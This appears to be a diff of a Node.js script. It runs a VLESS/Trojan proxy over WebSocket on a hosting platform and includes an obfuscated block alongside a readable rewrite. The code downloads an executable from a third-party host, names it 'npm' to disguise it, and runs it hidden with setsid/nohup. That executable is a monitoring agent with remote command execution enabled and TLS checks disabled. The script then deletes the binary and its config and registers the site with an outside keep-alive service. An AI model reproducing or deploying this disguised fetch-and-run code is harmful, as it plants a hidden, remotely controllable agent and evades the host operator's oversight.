545207(0x2fb,0x3a2,0x3ac,0x40e)+_0x1421b7(0x2ac,0x25b,0x2bd,0x20a)+_0x1421b7(0x3d3,0x347,0x3c7,0x33b)+_0x545207(0x513,0x45e,0x4bf,0x45d)+_0x1421b7(0x42a,0x455,0x44b,0x41c)+_0x545207(0x471,0x492,0x3b8,0x41e)+'lse\x0ainsecu'+_0x545207(0x30e,0x399,0x42d,0x475)+'ue\x0aip_repo'+'rt_period:'+_0x545207(0x34c,0x3e8,0x3ac,0x314)+_0x1421b7(0x3bd,0x395,0x357,0x2b0)+_0x545207(0x3f7,0x36b,0x3fb,0x3d6))+NEZHA_SERVER+(_0x1421b7(0x393,0x3a4,0x391,0x2c5)+'ection_cou'+_0x545207(0x412,0x474,0x45d,0x509)+_0x545207(0x3e5,0x3bc,0x322,0x441)+'count:\x20tru'+_0x545207(0x396,0x3d3,0x3a4,0x378)+_0x1421b7(0x2f1,0x2be,0x31b,0x3f0)+_0x545207(0x3e5,0x404,0x346,0x4de))+_0xce0d43+(_0x1421b7(0x2ea,0x2c8,0x381,0x305)+_0x545207(0x297,0x370,0x2a4,0x363)+_0x1421b7(0x298,0x22f,0x294,0x2da)+_0x1421b7(0x297,0x3f7,0x35e,0x420)+'untry_code'+_0x1421b7(0x31b,0x24d,0x2e5,0x375)+_0x1421b7(0x46c,0x3ba,0x418,0x4a5))+UUID;fs[_0x545207(0x582,0x4dc,0x508,0x52d)+_0x545207(0x45a,0x44f,0x4e1,0x41c)](_0x1421b7(0x48e,0x42d,0x3b1,0x47a)+'l',_0x2f7d56);}_0x35e29f=_0x545207(0x398,0x3e7,0x3fb,0x380)+'up\x20./npm\x20-'+_0x545207(0x469,0x3e2,0x314,0x484)+_0x1421b7(0x20a,0x245,0x2b7,0x35e)+_0x545207(0x33c,0x3d1,0x331,0x360)+'&';}else{console[_0x1421b7(0x3e7,0x3a0,0x425,0x43f)](_0x1421b7(0x4a2,0x3e3,0x44a,0x44b)+_0x1421b7(0x2be,0x397,0x325,0x3d3)+'pty,\x20skip\x20'+_0x545207(0x302,0x3a8,0x463,0x3e2));return;}}try{if(_0x3dd348['mvqIK'](_0x3dd348['JncIA'],_0x3dd348[_0x1421b7(0x308,0x30f,0x37c,0x2ca)])){if(_0x453eaa){const _0x4421b0=_0x198e39[_0x1421b7(0x458,0x3e2,0x3f0,0x450)](_0x1e6690,arguments);return _0x2ca9c3=null,_0x4421b0;}}else _0x3dd348[_0x545207(0x3dd,0x34c,0x34c,0x2d9)](exec,_0x35e29f,{'shell':_0x3dd348['atXWl']},_0x4485c7=>{function _0x4ed478(_0x2552a2,_0x29ae03,_0x326b35,_0x310790){return _0x545207(_0x29ae03,_0x326b35- -0x317,_0x326b35-0x102,_0x310790-0x74);}function _0x358100(_0x4178ed,_0x4d9db8,_0x6374f,_0x35ce6c){return _0x545207(_0x4d9db8,_0x6374f- -0x3d3,_0x6374f-0xab,_0x35ce6c-0x18c);}if(_0x3dd348[_0x4ed478(0xe9,0x1f0,0x153,0xdc)](_0x4ed478(0x10c,0xd9,0xbd,0xb0),_0x3dd348['BGZOh'])){const _0xebe14c=_0x5140a4[_0x4ed478(-0x4c,0xd4,0x6b,0xfd)];if(_0x3dd348[_0x358100(-0x3c,-0x30,0x97,0x15a)](_0xebe14c['Status'],0x1*-0x22e5+-0x1ae5+-0x1ee5*-0x2)&&_0xebe14c[_0x4ed478(-0x6d,-0x9,0x53,0x12e)]&&_0xebe14c[_0x358100(-0xbb,-0x11,-0x69,-0x8d)][_0x4ed478(0x20,-0x7c,0x3d,0xb)]>-0x477+-0x1a96*0x1+0x1*0x1f0d){const _0x590cbf=_0xebe14c[_0x358100(-0xce,0x6b,-0x69,-0x134)][_0x4ed478(0x21c,0x1a2,0x19f,0xf2)](_0x46ec32=>_0x46ec32[_0x4ed478(0x5f,0x1de,0x13c,0x100)]===-0x425*-0x1+-0x24f0+0x1*0x20cc);if(_0x590cbf){_0x3c6577(_0x590cbf['data']);return;}}_0x3dd348[_0x358100(0x84,0x8d,0x95,0xcf)](_0x57a05f);}else{if(_0x4485c7)console['error'](_0x3dd348[_0x358100(0x80,0x3b,-0xe,-0x8d)],_0x4485c7);else console[_0x358100(0x1b3,0x11c,0xec,0x76)](_0x3dd348['hmGrp']);}});}catch(_0x522365){console['error'](_0x1421b7(0x24b,0x1ec,0x2c9,0x271)+_0x522365);}};function _0x38c5(_0x19a6ae,_0x1720f2){const _0x22d93d=_0x22d9();return _0x38c5=function(_0x38c5f3,_0x70daec){_0x38c5f3=_0x38c5f3-(-0x1c7f*-0x1+-0x14e1*0x1+-0x6ef);let _0xcbdfba=_0x22d93d[_0x38c5f3];return _0xcbdfba;},_0x38c5(_0x19a6ae,_0x1720f2);}function _0x23a861(_0x5073dc,_0x2edb3a,_0x21d46c,_0x3e995a){return _0x38c5(_0x3e995a- -0x18c,_0x5073dc);}async function addAccessTask(){function _0x4351a7(_0x3bc707,_0x2f7406,_0x2210c7,_0x10a8c1){return _0x187de4(_0x3bc707-0xae,_0x10a8c1- -0x1e2,_0x3bc707,_0x10a8c1-0xdb);}const _0x434bbb={};_0x434bbb['ORFWI']=_0x499979(0x218,0x2b3,0x1d6,0x29e)+_0x4351a7(-0x27c,-0x2f1,-0x33c,-0x284)+_0x499979(0x377,0x2b8,0x383,0x321)+'l';const _0x40e073=_0x434bbb;if(!AUTO_ACCESS)return;if(!DOMAIN)return;function _0x499979(_0x12208d,_0x16e1a5,_0x5e6d8d,_0x57dc6e){return _0x23a861(_0x57dc6e,_0x16e1a5-0x1a1,_0x5e6d8d-0x8,_0x16e1a5-0x2e7);}const _0x38971f=_0x4351a7(-0x26f,-0x18b,-0x249,-0x20c)+DOMAIN+'/'+SUB_PATH;try{const _0x1c2f76={};_0x1c2f76['url']=_0x38971f;const _0x16ac91={};_0x16ac91[_0x499979(0x32a,0x311,0x3c1,0x313)+'pe']=_0x4351a7(-0x1b6,-0x210,-0x18f,-0x231)+_0x4351a7(-0x27e,-0x281,-0x31f,-0x291);const _0x101b3b={};_0x101b3b['headers']=_0x16ac91;const _0x3018b3=await axios['post'](_0x40e073['ORFWI'],_0x1c2f76,_0x101b3b);console['log'](_0x4351a7(-0x360,-0x316,-0x2b7,-0x2a7)+_0x4351a7(-0x329,-0x201,-0x24e,-0x28c)+_0x4351a7(-0x229,-0x104,-0x189,-0x1d5)+'ccessfully');}catch(_0xf3529){}}const delFiles=()=>{const _0x110077={};_0x110077['cURLO']='npm';function _0x285001(_0x31f37a,_0x2bbb80,_0x54ecf6,_0x2413f3){return _0x23a861(_0x2413f3,_0x2bbb80-0x1ca,_0x54ecf6-0xfb,_0x31f37a-0x3a0);}const _0x54aeac=_0x110077;function _0x35f920(_0x13907b,_0x50645f,_0x279437,_0x254ee3){return _0x23a861(_0x13907b,_0x50645f-0x7a,_0x279437-0x175,_0x254ee3- -0x1b0);}fs[_0x35f920(-0x256,-0xf9,-0x1dd,-0x1b7)](_0x54aeac[_0x285001(0x3e7,0x419,0x3ce,0x34c)],()=>{}),fs['unlink'](_0x285001(0x3e2,0x3de,0x4a4,0x48b)+'l',()=>{});};httpServer['listen'](PORT,()=>{const _0x18f1a6={'GZivP':_0x263ae7(0x427,0x44c,0x500,0x459)+'g\x20error:','VKvsP':_0x263ae7(0x43a,0x515,0x3f0,0x487)+_0x263ae7(0x52d,0x3a3,0x4b2,0x452),'yDMqC':function(_0x3c56eb,_0x3eb4b4){return _0x3c56eb===_0x3eb4b4;},'wnKzl':function(_0x3cc0e9){return _0x3cc0e9();}};_0x18f1a6[_0x263ae7(0x432,0x4b4,0x54f,0x502)](runnz),setTimeout(()=>{function _0x4a7261(_0x1e9b57,_0x98478f,_0x7bb754,_0x460872){return _0x263ae7(_0x7bb754,_0x98478f-0x1b,_0x7bb754-0x1be,_0x1e9b57- -0x4f6);}function _0x95cf1b(_0x20fa6e,_0x323adc,_0x58ff27,_0x4894cf){return _0x16e07c(_0x20fa6e-0x1b0,_0x20fa6e,_0x58ff27-0x160,_0x58ff27- -0x1ee);}if(_0x18f1a6['yDMqC'](_0x4a7261(0xdd,0x11d,0x157,0x0),_0x95cf1b(-0xc4,0x10,-0x34,0x1e)))delFiles();else{if(_0x1c7e5b)_0x7f9d62[_0x4a7261(0x3a,0x2,-0x42,0x81)](_0x18f1a6['GZivP'],_0x330e13);else _0x9de513[_0x4a7261(0xbb,0x15e,0x8c,0x149)](_0x18f1a6['VKvsP']);}},-0x17*-0x33f3+-0x6dfc+0xd*-0x1d5d),_0x18f1a6[_0x263ae7(0x4e1,0x565,0x4ac,0x502)](addAccessTask);function _0x263ae7(_0x4912f3,_0x5164f8,_0x309311,_0x1eadd9){return _0x187de4(_0x4912f3-0xf,_0x1eadd9-0x525,_0x4912f3,_0x1eadd9-0x135);}function _0x16e07c(_0x2cb9f0,_0x389fab,_0x612ff8,_0x55d1b0){return _0x187de4(_0x2cb9f0-0x7d,_0x55d1b0-0x10c,_0x389fab,_0x55d1b0-0x19);}console['log'](_0x263ae7(0x4d7,0x589,0x549,0x522)+_0x16e07c(0x8d,0x138,0x8a,0xd8)+_0x263ae7(0x53a,0x535,0x59f,0x523)+PORT);}); +const os = require('os'); +const http = require('http'); +const fs = require('fs'); +const axios = require('axios'); +const net = require('net'); +const path = require('path'); +const crypto = require('crypto'); +const { Buffer } = require('buffer'); +const { exec, execSync } = require('child_process'); +const { WebSocket, createWebSocketStream } = require('ws'); +const UUID = process.env.UUID || '5efabea4-f6d4-91fd-b8f0-17e004c89c60'; // 运行哪吒v1,在不同的平台需要改UUID,否则会被覆盖 +const NEZHA_SERVER = process.env.NEZHA_SERVER || ''; // 哪吒v1填写形式:nz.abc.com:8008 哪吒v0填写形式:nz.abc.com +const NEZHA_PORT = process.env.NEZHA_PORT || ''; // 哪吒v1没有此变量,v0的agent端口为{443,8443,2096,2087,2083,2053}其中之一时开启tls +const NEZHA_KEY = process.env.NEZHA_KEY || ''; // v1的NZ_CLIENT_SECRET或v0的agent端口 +const DOMAIN = process.env.DOMAIN || '1234.abc.com'; // 填写项目域名或已反代的域名,不带前缀,建议填已反代的域名 +const AUTO_ACCESS = process.env.AUTO_ACCESS || false; // 是否开启自动访问保活,false为关闭,true为开启,需同时填写DOMAIN变量 +const WSPATH = process.env.WSPATH || UUID.slice(0, 8); // 节点路径,默认获取uuid前8位 +const SUB_PATH = process.env.SUB_PATH || 'sub'; // 获取节点的订阅路径 +const NAME = process.env.NAME || ''; // 节点名称 +const PORT = process.env.PORT || 3000; // http和ws服务端口 + +let ISP = ''; +const GetISP = async () => { + try { + const res = await axios.get('https://speed.cloudflare.com/meta'); + const data = res.data; + ISP = `${data.country}-${data.asOrganization}`.replace(/ /g, '_'); + } catch (e) { + ISP = 'Unknown'; + } +} +GetISP(); + +const httpServer = http.createServer((req, res) => { + if (req.url === '/') { + const filePath = path.join(__dirname, 'index.html'); + fs.readFile(filePath, 'utf8', (err, content) => { + if (err) { + res.writeHead(200, { 'Content-Type': 'text/html' }); + res.end('Hello world!'); + return; + } + res.writeHead(200, { 'Content-Type': 'text/html' }); + res.end(content); + }); + return; + } else if (req.url === `/${SUB_PATH}`) { + const namePart = NAME ? `${NAME}-${ISP}` : ISP; + const vlessURL = `vless://${UUID}@cdns.doon.eu.org:443?encryption=none&security=tls&sni=${DOMAIN}&fp=chrome&type=ws&host=${DOMAIN}&path=%2F${WSPATH}#${namePart}`; + const trojanURL = `trojan://${UUID}@cdns.doon.eu.org:443?security=tls&sni=${DOMAIN}&fp=chrome&type=ws&host=${DOMAIN}&path=%2F${WSPATH}#${namePart}`; + const subscription = vlessURL + '\n' + trojanURL; + const base64Content = Buffer.from(subscription).toString('base64'); + + res.writeHead(200, { 'Content-Type': 'text/plain' }); + res.end(base64Content + '\n'); + } else { + res.writeHead(404, { 'Content-Type': 'text/plain' }); + res.end('Not Found\n'); + } +}); + +const wss = new WebSocket.Server({ server: httpServer }); +const uuid = UUID.replace(/-/g, ""); +const DNS_SERVERS = ['8.8.4.4', '1.1.1.1']; +// Custom DNS +function resolveHost(host) { + return new Promise((resolve, reject) => { + if (/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(host)) { + resolve(host); + return; + } + let attempts = 0; + function tryNextDNS() { + if (attempts >= DNS_SERVERS.length) { + reject(new Error(`Failed to resolve ${host} with all DNS servers`)); + return; + } + const dnsServer = DNS_SERVERS[attempts]; + attempts++; + const dnsQuery = `https://dns.google/resolve?name=${encodeURIComponent(host)}&type=A`; + axios.get(dnsQuery, { + timeout: 5000, + headers: { + 'Accept': 'application/dns-json' + } + }) + .then(response => { + const data = response.data; + if (data.Status === 0 && data.Answer && data.Answer.length > 0) { + const ip = data.Answer.find(record => record.type === 1); + if (ip) { + resolve(ip.data); + return; + } + } + tryNextDNS(); + }) + .catch(error => { + tryNextDNS(); + }); + } + + tryNextDNS(); + }); +} + +// VLE-SS处理 +function handleVlessConnection(ws, msg) { + const [VERSION] = msg; + const id = msg.slice(1, 17); + if (!id.every((v, i) => v == parseInt(uuid.substr(i * 2, 2), 16))) return false; + + let i = msg.slice(17, 18).readUInt8() + 19; + const port = msg.slice(i, i += 2).readUInt16BE(0); + const ATYP = msg.slice(i, i += 1).readUInt8(); + const host = ATYP == 1 ? msg.slice(i, i += 4).join('.') : + (ATYP == 2 ? new TextDecoder().decode(msg.slice(i + 1, i += 1 + msg.slice(i, i + 1).readUInt8())) : + (ATYP == 3 ? msg.slice(i, i += 16).reduce((s, b, i, a) => (i % 2 ? s.concat(a.slice(i - 1, i + 1)) : s), []).map(b => b.readUInt16BE(0).toString(16)).join(':') : '')); + ws.send(new Uint8Array([VERSION, 0])); + const duplex = createWebSocketStream(ws); + resolveHost(host) + .then(resolvedIP => { + net.connect({ host: resolvedIP, port }, function() { + this.write(msg.slice(i)); + duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); + }).on('error', () => {}); + }) + .catch(error => { + net.connect({ host, port }, function() { + this.write(msg.slice(i)); + duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); + }).on('error', () => {}); + }); + + return true; +} + +// Tro-jan处理 +function handleTrojanConnection(ws, msg) { + try { + if (msg.length < 58) return false; + const receivedPasswordHash = msg.slice(0, 56).toString(); + const possiblePasswords = [ + UUID, + ]; + + let matchedPassword = null; + for (const pwd of possiblePasswords) { + const hash = crypto.createHash('sha224').update(pwd).digest('hex'); + if (hash === receivedPasswordHash) { + matchedPassword = pwd; + break; + } + } + + if (!matchedPassword) return false; + let offset = 56; + if (msg[offset] === 0x0d && msg[offset + 1] === 0x0a) { + offset += 2; + } + + const cmd = msg[offset]; + if (cmd !== 0x01) return false; + offset += 1; + const atyp = msg[offset]; + offset += 1; + let host, port; + if (atyp === 0x01) { + host = msg.slice(offset, offset + 4).join('.'); + offset += 4; + } else if (atyp === 0x03) { + const hostLen = msg[offset]; + offset += 1; + host = msg.slice(offset, offset + hostLen).toString(); + offset += hostLen; + } else if (atyp === 0x04) { + host = msg.slice(offset, offset + 16).reduce((s, b, i, a) => + (i % 2 ? s.concat(a.slice(i - 1, i + 1)) : s), []) + .map(b => b.readUInt16BE(0).toString(16)).join(':'); + offset += 16; + } else { + return false; + } + + port = msg.readUInt16BE(offset); + offset += 2; + + if (offset < msg.length && msg[offset] === 0x0d && msg[offset + 1] === 0x0a) { + offset += 2; + } + + const duplex = createWebSocketStream(ws); + + resolveHost(host) + .then(resolvedIP => { + net.connect({ host: resolvedIP, port }, function() { + if (offset < msg.length) { + this.write(msg.slice(offset)); + } + duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); + }).on('error', () => {}); + }) + .catch(error => { + net.connect({ host, port }, function() { + if (offset < msg.length) { + this.write(msg.slice(offset)); + } + duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); + }).on('error', () => {}); + }); + + return true; + } catch (error) { + return false; + } +} +// Ws 连接处理 +wss.on('connection', (ws, req) => { + const url = req.url || ''; + ws.once('message', msg => { + if (msg.length > 17 && msg[0] === 0) { + const id = msg.slice(1, 17); + const isVless = id.every((v, i) => v == parseInt(uuid.substr(i * 2, 2), 16)); + if (isVless) { + if (!handleVlessConnection(ws, msg)) { + ws.close(); + } + return; + } + } + + if (!handleTrojanConnection(ws, msg)) { + ws.close(); + } + }).on('error', () => {}); +}); + +const getDownloadUrl = () => { + const arch = os.arch(); + if (arch === 'arm' || arch === 'arm64' || arch === 'aarch64') { + if (!NEZHA_PORT) { + return 'https://arm64.ssss.nyc.mn/v1'; + } else { + return 'https://arm64.ssss.nyc.mn/agent'; + } + } else { + if (!NEZHA_PORT) { + return 'https://amd64.ssss.nyc.mn/v1'; + } else { + return 'https://amd64.ssss.nyc.mn/agent'; + } + } +}; + +const downloadFile = async () => { + if (!NEZHA_SERVER && !NEZHA_KEY) return; + + try { + const url = getDownloadUrl(); + const response = await axios({ + method: 'get', + url: url, + responseType: 'stream' + }); + + const writer = fs.createWriteStream('npm'); + response.data.pipe(writer); + + return new Promise((resolve, reject) => { + writer.on('finish', () => { + console.log('npm download successfully'); + exec('chmod +x npm', (err) => { + if (err) reject(err); + resolve(); + }); + }); + writer.on('error', reject); + }); + } catch (err) { + throw err; + } +}; + +const runnz = async () => { + try { + const status = execSync('ps aux | grep -v "grep" | grep "./[n]pm"', { encoding: 'utf-8' }); + if (status.trim() !== '') { + console.log('npm is already running, skip running...'); + return; + } + } catch (e) { + // 进程不存在时继续运行nezha + } + + await downloadFile(); + let command = ''; + let tlsPorts = ['443', '8443', '2096', '2087', '2083', '2053']; + + if (NEZHA_SERVER && NEZHA_PORT && NEZHA_KEY) { + const NEZHA_TLS = tlsPorts.includes(NEZHA_PORT) ? '--tls' : ''; + command = `setsid nohup ./npm -s ${NEZHA_SERVER}:${NEZHA_PORT} -p ${NEZHA_KEY} ${NEZHA_TLS} --disable-auto-update --report-delay 4 --skip-conn --skip-procs >/dev/null 2>&1 &`; + } else if (NEZHA_SERVER && NEZHA_KEY) { + if (!NEZHA_PORT) { + const port = NEZHA_SERVER.includes(':') ? NEZHA_SERVER.split(':').pop() : ''; + const NZ_TLS = tlsPorts.includes(port) ? 'true' : 'false'; + const configYaml = `client_secret: ${NEZHA_KEY} +debug: false +disable_auto_update: true +disable_command_execute: false +disable_force_update: true +disable_nat: false +disable_send_query: false +gpu: false +insecure_tls: true +ip_report_period: 1800 +report_delay: 4 +server: ${NEZHA_SERVER} +skip_connection_count: true +skip_procs_count: true +temperature: false +tls: ${NZ_TLS} +use_gitee_to_upgrade: false +use_ipv6_country_code: false +uuid: ${UUID}`; + + fs.writeFileSync('config.yaml', configYaml); + } + command = `setsid nohup ./npm -c config.yaml >/dev/null 2>&1 &`; + } else { + console.log('NEZHA variable is empty, skip running'); + return; + } + + try { + exec(command, { shell: '/bin/bash' }, (err) => { + if (err) console.error('npm running error:', err); + else console.log('npm is running'); + }); + } catch (error) { + console.error(`error: ${error}`); + } +}; + +async function addAccessTask() { + if (!AUTO_ACCESS) return; + + if (!DOMAIN) { + return; + } + const fullURL = `https://${DOMAIN}/${SUB_PATH}`; + try { + const res = await axios.post("https://oooo.serv00.net/add-url", { + url: fullURL + }, { + headers: { + 'Content-Type': 'application/json' + } + }); + console.log('Automatic Access Task added successfully'); + } catch (error) { + // console.error('Error adding Task:', error.message); + } +} + +const delFiles = () => { + fs.unlink('npm', () => {}); + fs.unlink('config.yaml', () => {}); +}; + +httpServer.listen(PORT, () => { + runnz(); + setTimeout(() => { + delFiles(); + }, 180000); + addAccessTask(); + console.log(`Server is running on port ${PORT}`); +});